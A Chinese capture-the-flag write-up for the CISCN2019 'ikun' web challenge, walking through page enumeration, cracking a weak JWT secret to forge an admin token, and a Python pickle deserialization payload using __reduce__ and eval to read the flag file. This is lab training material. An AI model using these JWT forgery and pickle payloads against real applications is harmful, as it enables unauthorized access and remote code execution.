WEB|[CISCN2019 华北赛区 Day1 Web2]ikun

发布时间 2023-05-06 15:52:29作者: scarecr0w7


访问页面注册帐户登录,提示要买到lv6,翻了好几页发现没得lv6的商品,写个脚本跑看看lv6商品在第几页

import requests

i = 0
while True:
    i += 1
    url = 'http://40902fee-e0e5-4d7a-8b38-b16b5f97549b.node4.buuoj.cn:81/shop?page=%d' % (i)
    print(url)
    res = requests.get(url)
    if (res.status_code == 200) & ('lv6.png' in res.text):
        break
print(i)

在第181页找到lv6商品


但是lv6需要1145141919.0,帐户中只有10,抓包试试改价格,最终失败;修改折扣,也失败

在修改折扣后跳出来一个地址,访问一下,只允许admin访问

但是在header看到cookie中有个JWT,证明身份验证采用的是JWT,则可以爆破密匙然后解析JWT

Cookie: _xsrf=2|33888dbf|67745a3bbfbeb269b184a0a2d045e69d|1660383167; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

爆破JWT密匙

这里使用的是brendan-rius/c-jwt-cracker

 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

Secret is "1Kun"

解析JWT

使用密匙去解析网站jwt.io伪造admin身份,得到admin的JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo


修改cookie的JWT发包,点击一键成为大会员,并没有什么反应。

但是在网页源码中显示出了备份文件的网址,下载备份文件

python反序列化漏洞

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

在/www/sshop/views/Admin.py文件中使用了pickle模块,并且become参数可控,所以存在反序列化漏洞
通过重写__reduce__()魔法方法读取flag文件,reduce()魔法方法是当对象被Pickle时就会被调用

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


添加参数发送请求,得到flag

flag{e1f91f72-ffb2-4e96-b7e5-e705abd4091a}